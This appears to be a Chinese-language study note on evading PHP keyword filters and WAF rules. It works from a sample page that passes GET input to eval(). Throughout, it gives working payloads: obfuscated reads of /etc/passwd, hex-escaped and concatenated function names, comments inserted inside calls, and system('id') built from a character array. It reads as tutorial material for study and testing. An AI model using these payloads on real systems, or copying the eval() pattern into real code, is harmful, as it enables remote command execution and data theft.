起因是年前看了一篇How To Exploit PHP Remotely To Bypass Filters & WAF Rules,现在搜了一下发现已经有翻译了。感觉升华也没什么好扩展的,也不太好拿去投稿了,思考了一下,感觉还是当作学习笔记来写算了。
以下实现环境均在 php 7.0.31 版本上,并且把 waf 因素考虑在内。
引入
首先来看一段 php 代码:
<?php
if(preg_match('/system|exec|passthru/',$_GET['code'])){
echo 'invalid syntax';
}
else {
eval($_GET['code']);
}
执行命令不只这几个函数,还有很多,这里就拿这几个来举例。毫无疑问,这里肯定是可以执行命令。
那我们先直接尝试读取/etc/passwd
,显然,这里还没到代码层面就直接被 waf 了。
原因可能是因为/etc/passwd
的敏感原因
绕过 waf
那我们接下来先尝试绕过 waf ,可以尝试使用/etc/pas\swd
绕过,也可以使用其他空变量,当然方法很多
可以发现,我们是成功绕过 waf ,来到了代码层面,接下来我们就需要考虑怎么绕过命令执行函数了
PHP 转义序列
在谈绕过函数过滤前,我们先了解一下 PHP 的转义序列,简单来说就是使用反斜线转义各种字符形成特定的意义。比如说:
- \040 空格的另外一种用法
- 以八进制表示的
\[0–7]{1,3}
转义字符会自动适配二进制字符(如\377
,八进制377是10进制255, 因此代表一个全1的字符) \x[0–9A-Fa-f]{1,2}
表示十六进制转义字符表示法(如\x41
)- 以Unicode表示的
\u{[0–9A-Fa-f]+}
字符,会输出为UTF-8字符串
虽然看起来很普通,但是我们可以使用各种语法来表示字符串,再配合 php 可变函数来绕过各种防御
php 可变函数
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。
看一下官方示例
<?php
function foo() {
echo "In foo()<br />\n";
}
function bar($arg = '') {
echo "In bar(); argument was '$arg'.<br />\n";
}
// 使用 echo 的包装函数
function echoit($string)
{
echo $string;
}
$func = 'foo';
$func(); // This calls foo()
$func = 'bar';
$func('test'); // This calls bar()
$func = 'echoit';
$func('test'); // This calls echoit()
?>
也就是说$var(args)
跟“string”(args);
是与function(args)
等效的。于是我们可以有
尝试"\x73\x79\x73\x74\x65\x6d"("whoami")
确实可以执行无误,然后我们就可以利用这个特性绕过对system
的检测了
改进输入检测
上述我们的 payload 中还是用到了双引号,而大多数的时候 waf 不会允许使用双引号的,我们将 php 文件内容修改为
<?php
if(preg_match('/system|exec|passthru|[\"\']/',$_GET['code'])){
echo 'invalid syntax';
}
else {
eval($_GET['code']);
}
增加了对单引号与双引号的检测,这时候应该怎么办呢
让我们再来看一个特性
也就是说在 PHP 中,字符串表达可以有以上这几种方法,于是我们可以用以上的方式尝试替代双引号。第一种是类似(system)(whoami);
,然而在 php 中我们可以用.
来拼接字符串,于是也可以有(sys.(te).m)(whoami);
也可以使用/?a=system&b=ls&code=$_GET[a]($_GET[b]);
的解析方法来绕过
这里我们还可以使用其他技巧,比如我们可以在函数名和参数内插入注释(这种方法在绕过某些WAF规则集方面非常有用,这些规则集会拦截特定的PHP函数名
php -r "echo/*this is a comment*/(foo);"
php -r "system/*this is a comment*/(whoami);"
php -r "system/*this is a comment*/(wh./*foo*/(oa)/*bar*/.mi);"
php -r "(s/*foo*/.(ys)./*bar*/tem)/*this is a comment*/(wh./*foo*/(oa)/*bar*/.mi);"
get_defined_functions
(PHP 4 >= 4.0.4, PHP 5, PHP 7)
get_defined_functions — 返回所有已定义函数的数组
get_defined_functions ([ bool
$exclude_disabled
= FALSE ] ) : array 获取所有已定义函数的数组。
这个函数是可将用户定义的和内置函数均返回的。获取内置函数可以使用$arr[“internal”]
,获取用户定义的函数可以使用$arr[“user”]
。
所以我们可以尝试找到system
函数
配合前面的方法,效果拔群,不过system
函数不一定都是 1077 ,使用的时候最好可以grep
查找一下system
函数的下标
字符数组
我们可以将PHP中的每个字符串当成一组字符来使用(基本上与 Python 相同),并且我们可以使用$string[2]
或者$string[-3]
语法来引用单个字符。这种方法也有可能绕过基于PHP函数名的防护规则。比如,我们可以使用$a="eimstdy";
这个字符串构造出system("id");
语句。需要空格的话就在$a
中加入空格就好了。
也可以使用一些内置变量,不再赘述,如下图所示